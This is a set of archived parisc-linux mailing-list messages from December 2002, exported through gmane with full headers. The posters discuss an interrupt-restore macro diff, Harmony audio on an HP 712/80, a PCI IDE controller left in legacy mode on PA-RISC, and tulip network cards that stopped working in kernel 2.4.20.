	id 18NXSR-00016H-00; Sun, 15 Dec 2002 13:01:19 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021210 Debian/1.2.1-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17110

This is a multi-part message in MIME format.
--------------020609020700060903080206
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi all,

is this  diff is right:
--- system_irqsave.h.orig       2002-12-15 13:02:50.000000000 +0000
+++ system_irqsave.h    2002-12-15 13:03:29.000000000 +0000
@@ -9,8 +9,7 @@

  #define local_irq_save(x) \
         __asm__ __volatile__("rsm %1,%0" : "=r" (x) :"i" (PSW_I) : 
"memory" )
-#define local_irq_restore(x) \
-       __asm__ __volatile__("mtsm %0" : : "r" (x) : "memory" )
+#define local_irq_restore(x) __restore_flags(x)
  #define local_irq_disable() __cli()
  #define local_irq_enable()  __sti()

Thanks for attention,
	Joel

--------------020609020700060903080206
Content-Type: text/plain;
 name="system_irqsave.h.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="system_irqsave.h.diff"

--- system_irqsave.h.orig	2002-12-15 13:02:50.000000000 +0000
+++ system_irqsave.h	2002-12-15 13:03:29.000000000 +0000
@@ -9,8 +9,7 @@
 
 #define local_irq_save(x) \
 	__asm__ __volatile__("rsm %1,%0" : "=r" (x) :"i" (PSW_I) : "memory" )
-#define local_irq_restore(x) \
-	__asm__ __volatile__("mtsm %0" : : "r" (x) : "memory" )
+#define local_irq_restore(x) __restore_flags(x)
 #define local_irq_disable() __cli()
 #define local_irq_enable()  __sti()
 

--------------020609020700060903080206--



From - Thu Nov 08 21:25:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jussi Sallinen <jzu@lowfidelity.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 712/80, LASI Harmony Audio and 16-bit's
Date: Sun, 15 Dec 2002 16:59:20 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <20021215150030.HEVW4145.fep02-app.kolumbus.fi@suorakulmio>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622025 18679 80.91.229.3 (22 Nov 2014 02:07:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 15 08:00:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep02-app.kolumbus.fi (fep02-0.kolumbus.fi [193.229.0.44])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A87A482C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Dec 2002 08:00:37 -0700 (MST)
Original-Received: from suorakulmio ([80.186.65.123]) by fep02-app.kolumbus.fi
          with SMTP
          id <20021215150030.HEVW4145.fep02-app.kolumbus.fi@suorakulmio>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 15 Dec 2002 17:00:30 +0200
X-Mailer: Opera 5.12 build 932
X-Priority: 3 (Normal)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17111

I have HP 712/80, with LASI-chip - So soundcard is Harmony audio.
I just compiled kernel, PA Harmony audio driver included into kernel,
but without any kind of OSS sound modules. 
mikmod gives this: 
MikMod initialisation error : This driver supports uLaw output (8 bit mono, 8 kHz) only
Do i need to have OSS sound modules to be able to play 16bit stereo?
And if so, as modules or into kernel?
And what kind of OSS sound modules do i need :o



From - Thu Nov 08 21:25:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tim Kemna" <t.kemna@student.utwente.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 712/80, LASI Harmony Audio and 16-bit's
Date: Sun, 15 Dec 2002 18:30:19 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <003401c2a45f$a4d89160$28f15982@timkemna>
References: <20021215150030.HEVW4145.fep02-app.kolumbus.fi@suorakulmio>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622026 18682 80.91.229.3 (22 Nov 2014 02:07:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:06 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>,
	"Jussi Sallinen" <jzu@lowfidelity.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 15 10:31:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from netlx010.civ.utwente.nl (netlx010.civ.utwente.nl [130.89.1.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE540487A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Dec 2002 10:31:08 -0700 (MST)
Original-Received: from timkemna (inbel241040.inbel.utwente.nl [130.89.241.40])
          by netlx010.civ.utwente.nl (8.11.4/HKD) with SMTP id gBFHV0b11332;
          Sun, 15 Dec 2002 18:31:00 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
X-UTwente-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17112

> I have HP 712/80, with LASI-chip - So soundcard is Harmony audio.
> I just compiled kernel, PA Harmony audio driver included into kernel,
> but without any kind of OSS sound modules.
> mikmod gives this:
> MikMod initialisation error : This driver supports uLaw output (8 bit
mono, 8 kHz) only
> Do i need to have OSS sound modules to be able to play 16bit stereo?

I also have a 712/80. I could do a 'cat foo.au > /dev/audio' without the OSS
modules compiled into the kernel or as module.

> And if so, as modules or into kernel?

Probably doesn't matter.

Greetings,
Tim



From - Thu Nov 08 21:25:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with PCI IDE controller
Date: 16 Dec 2002 06:28:55 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <1040020135.11729.221.camel@irongate.swansea.linux.org.uk>
References: <courier.3DFB1AEA.0000527C@server01> 
	<20021214131048.L10991@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622026 18686 80.91.229.3 (22 Nov 2014 02:07:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:06 +0000 (UTC)
Cc: Joerg Steindlberger <j@steindlberger.de>,
	PARISC-LINUX <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 15 22:49:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 908B4482E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Dec 2002 22:49:40 -0700 (MST)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id gBG6SvlQ012787;
	Mon, 16 Dec 2002 06:28:58 GMT
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id gBG6Stu2012785;
	Mon, 16 Dec 2002 06:28:55 GMT
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20021214131048.L10991@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17113

On Sat, 2002-12-14 at 13:10, Matthew Wilcox wrote:
> > hp-c240 login: Uniform Multi-Platform E-IDE driver Revision: 6.31
> > ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
> > PDC20268: IDE controller on PCI bus 00 dev 08
> > PDC20268: chipset revision 2
> > PDC20268: not 100% native mode: will probe irqs later

Is this a plug in card. For some reason it has been left in non native
mode so won't work as a plug in board.



From - Thu Nov 08 21:25:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with PCI IDE controller
Date: Sun, 15 Dec 2002 23:09:29 -0700 (MST)
Lines: 30
Approved: news@gmane.org
Message-ID: <200212160609.XAA18500@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622026 18688 80.91.229.3 (22 Nov 2014 02:07:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 15 23:09:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 50C70482E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Dec 2002 23:09:35 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel7.hp.com (Postfix) with ESMTP id 3407E805E81
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Dec 2002 01:09:30 -0500 (EST)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id XAA18500
	for parisc-linux@lists.parisc-linux.org; Sun, 15 Dec 2002 23:09:29 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17114

> On Sat, 2002-12-14 at 13:10, Matthew Wilcox wrote:
> > > hp-c240 login: Uniform Multi-Platform E-IDE driver Revision: 6.31
> > > ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
> > > PDC20268: IDE controller on PCI bus 00 dev 08
> > > PDC20268: chipset revision 2
> > > PDC20268: not 100% native mode: will probe irqs later
>
> Is this a plug in card. For some reason it has been left in non native
> mode so won't work as a plug in board.

I don't think this is a problem. I have a similar card in my home PC, and
it prints the same thing (re: not 100% native mode). Here is an excerpt
from my PC's boot messages running 2.4.19:

    Uniform Multi-Platform E-IDE driver Revision: 6.31
    ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
    PDC20267: IDE controller on PCI bus 02 dev 08
    PCI: Found IRQ 10 for device 02:01.0
    PDC20267: chipset revision 2
    PDC20267: not 100% native mode: will probe irqs later
    PDC20267: (U)DMA Burst Bit ENABLED Primary PCI Mode Secondary PCI Mode.
	ide0: BM-DMA at 0xa400-0xa407, BIOS settings: hda:pio, hdb:pio
	ide1: BM-DMA at 0xa408-0xa40f, BIOS settings: hdc:pio, hdd:pio

All of my hard drives are on this card, so I know it works just fine (I
use ide=reverse so that my hard drives start with hda. I keep my CD and
DVD drives on the motherboard IDE buses).

John


From - Thu Nov 08 21:25:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ed Schaller <schallee@darkmist.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Sun, 15 Dec 2002 23:45:12 -0700
Lines: 81
Approved: news@gmane.org
Message-ID: <20021216064512.GA1983@darkmist.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="jRHKVT23PllUwdXP"
X-Trace: ger.gmane.org 1416622026 18691 80.91.229.3 (22 Nov 2014 02:07:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 15 23:45:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from grass.darkmist.net (landmine.darkmist.net [63.226.105.195])
	by dsl2.external.hp.com (Postfix) with ESMTP id 521A9482E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Dec 2002 23:45:20 -0700 (MST)
Original-Received: from spore.darkmist.net (spore.darkmist.net [10.22.3.22])
	(using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits))
	(No client certificate requested)
	by grass.darkmist.net (Postfix) with ESMTP
	id 3A489274D3; Sun, 15 Dec 2002 23:45:14 -0700 (MST)
Original-Received: by spore.darkmist.net (Postfix, from userid 500)
	id BA070124B2; Sun, 15 Dec 2002 23:45:12 -0700 (MST)
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17115

--jRHKVT23PllUwdXP
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

I have a B180 that I have been using as a firewall/router for some time
now. Along with the built in tulip ethernet card, I also have a Adaptec
quad ethernet card that is also tulip based. This has worked fine in
2.4.17-2.4.19 but no longer works in 2.4.20-pa13. Although I can
ifconfig up the interfaces, no traffic goes through and mii-tool reports
that the interfaces do not exist (except for the built in one).

In the following dmesg out takes for 2.4.20-pa13 and 2.4.19-32 (debian),
it seems that the older kernel is finding the transceiver and
successfully auto-negotiating the link while the newer is not.

Any ideas how to solve this? Any help would be greatly appreciated.

Linux version 2.4.20-pa13 (root@landmine) (gcc version 3.0.4) #3 Tue Dec 10 01:35:34 MST 2002
...
Linux Tulip driver version 0.9.15-pre12 (Aug 9, 2002)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21143 Tulip rev 48 at 0xf0fff000, 00:60:B0:C4:5E:7B, IRQ 96.
eth1: Digital DS21140 Tulip rev 34 at 0xf0efc000, 00:00:D1:1B:C8:90, IRQ 98.
eth2: Digital DS21140 Tulip rev 34 at 0xf0efd000, 00:00:D1:1B:C8:B5, IRQ 99.
eth3: Digital DS21140 Tulip rev 34 at 0xf0efe000, 00:00:D1:1B:C8:95, IRQ 96.
eth4: Digital DS21140 Tulip rev 34 at 0xf0eff000, 00:00:D1:1B:70:33, IRQ 97.
...until ifconfig eth0-eth4
eth0: Setting full-duplex based on MII#1 link partner capability of 45e1.

Linux version 2.4.19-32 (root@j5k) (gcc version 3.0.4) #1 Fri Nov 22 23:27:00 MST 2002
...
Linux Tulip driver version 0.9.15-pre11 (May 11, 2002)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21143 Tulip rev 48 at 0xff00, 00:60:B0:C4:5E:7B, IRQ 96.
tulip1:  EEPROM default media type Autosense.
tulip1:  Index #0 - Media MII (#11) described by a 21140 MII PHY (1) block.
tulip1:  MII transceiver #1 config 3100 status 7849 advertising 01e1.
eth1: Digital DS21140 Tulip rev 34 at 0xec00, 00:00:D1:1B:C8:90, IRQ 98.
tulip2:  EEPROM default media type Autosense.
tulip2:  Index #0 - Media MII (#11) described by a 21140 MII PHY (1) block.
tulip2:  MII transceiver #1 config 3100 status 7849 advertising 01e1.
eth2: Digital DS21140 Tulip rev 34 at 0xed00, 00:00:D1:1B:C8:B5, IRQ 99.
tulip3:  EEPROM default media type Autosense.
tulip3:  Index #0 - Media MII (#11) described by a 21140 MII PHY (1) block.
tulip3:  MII transceiver #1 config 3100 status 7849 advertising 01e1.
eth3: Digital DS21140 Tulip rev 34 at 0xee00, 00:00:D1:1B:C8:95, IRQ 96.
tulip4:  EEPROM default media type Autosense.
tulip4:  Index #0 - Media MII (#11) described by a 21140 MII PHY (1) block.
tulip4:  MII transceiver #1 config 3100 status 7849 advertising 01e1.
eth4: Digital DS21140 Tulip rev 34 at 0xef00, 00:00:D1:1B:70:33, IRQ 97.
...until ifconfig eth0-eth4
eth0: Setting full-duplex based on MII#1 link partner capability of 45e1.
eth1: Setting full-duplex based on MII#1 link partner capability of 45e1.
eth2: Setting full-duplex based on MII#1 link partner capability of 45e1.
eth3: Setting full-duplex based on MII#1 link partner capability of 41e1.
eth4: Setting full-duplex based on MII#1 link partner capability of 41e1.

>>>------>

--

+-------------+-----------------------+---------------+
| Ed Schaller | Dark Mist Networking  | psuedoshroom  |
+-------------+-----------------------+---------------+

--jRHKVT23PllUwdXP
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE9/XZ48kiOCKEpeEERAt/RAJ40HoGEVtPmIkVd5TpXMvsbotLs+QCghCCm
4GlTWn6yU5s7OQ2Umyi8Mgc=
=NKHA
-----END PGP SIGNATURE-----

--jRHKVT23PllUwdXP--


From - Thu Nov 08 21:25:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with PCI IDE controller
Date: 16 Dec 2002 15:03:09 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <1040050989.13786.23.camel@irongate.swansea.linux.org.uk>
References: <200212160609.XAA18500@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622027 18695 80.91.229.3 (22 Nov 2014 02:07:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 16 07:23:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 584DF482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Dec 2002 07:23:47 -0700 (MST)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id gBGF3BlQ013941;
	Mon, 16 Dec 2002 15:03:11 GMT
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id gBGF3AvA013939;
	Mon, 16 Dec 2002 15:03:10 GMT
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <200212160609.XAA18500@udlkern.fc.hp.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17116

On Mon, 2002-12-16 at 06:09, John Marvin wrote:
> > On Sat, 2002-12-14 at 13:10, Matthew Wilcox wrote:
> > > > hp-c240 login: Uniform Multi-Platform E-IDE driver Revision: 6.31
> > > > ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
> > > > PDC20268: IDE controller on PCI bus 00 dev 08
> > > > PDC20268: chipset revision 2
> > > > PDC20268: not 100% native mode: will probe irqs later
> >
> > Is this a plug in card. For some reason it has been left in non native
> > mode so won't work as a plug in board.
> 
> I don't think this is a problem. I have a similar card in my home PC, and
> it prints the same thing (re: not 100% native mode). Here is an excerpt
> from my PC's boot messages running 2.4.19:

A PC is a very different thing

In legacy mode the PCI BAR registers are ignored, the I/O decode is at
0x170 etc and interrupts are flagged by the ISA legacy not by the PCI
bus.

That isnt going to work very well on your average PA-RISC box. Most
probably you want to force the chip into native mode on pa-risc
hardware.




From - Thu Nov 08 21:25:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with PCI IDE controller
Date: Mon, 16 Dec 2002 08:57:44 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200212161357.gBGDviTE004065@hiauly1.hia.nrc.ca>
References: <200212160609.XAA18500@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622027 18698 80.91.229.3 (22 Nov 2014 02:07:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsm@udlkern.fc.hp.com (John Marvin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 16 07:42:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D9720482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Dec 2002 07:42:56 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gBGDvjot004066;
	Mon, 16 Dec 2002 08:57:46 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gBGDviTE004065;
	Mon, 16 Dec 2002 08:57:44 -0500 (EST)
In-Reply-To: <200212160609.XAA18500@udlkern.fc.hp.com> from "John Marvin" at Dec 15, 2002 11:09:29 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17117

> > On Sat, 2002-12-14 at 13:10, Matthew Wilcox wrote:
